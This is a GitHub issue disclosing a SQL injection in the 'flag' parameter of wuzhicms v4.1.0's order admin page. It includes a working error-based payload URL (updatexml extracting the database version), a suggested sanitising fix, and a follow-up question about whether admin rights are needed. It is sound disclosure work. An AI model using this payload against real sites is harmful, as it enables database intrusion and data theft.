Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

wuzhicms v4.1.0 /coreframe/app/order/admin/index.php sql injection vulnerability #175

Open
liao10086 opened this issue Mar 27, 2019 · 1 comment

Comments

@liao10086
Copy link

hi:
I found a sql injection vulnerability in /coreframe/app/order/admin/index.php
image

the parameter 'flag' didn't filtering of harmful input,so I can injection sql.
payload like this:
http://127.0.0.1/index.php?m=order&f=index&v=listing&_su=wuzhicms&flag= xxxx' or updatexml(1,concat(0x7e,(version())),0) or '
Result:
image

image

suggest:
$flag = sql_replace($GLOBALS['flag']);
Release Info:
v4.1.0
author by: xijun.liao@dbappsecurity.com.cn

@Cristian-Bejan
Copy link

@liao10086 Does the attacker require admin privileges in order to exploit the SQL injection?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants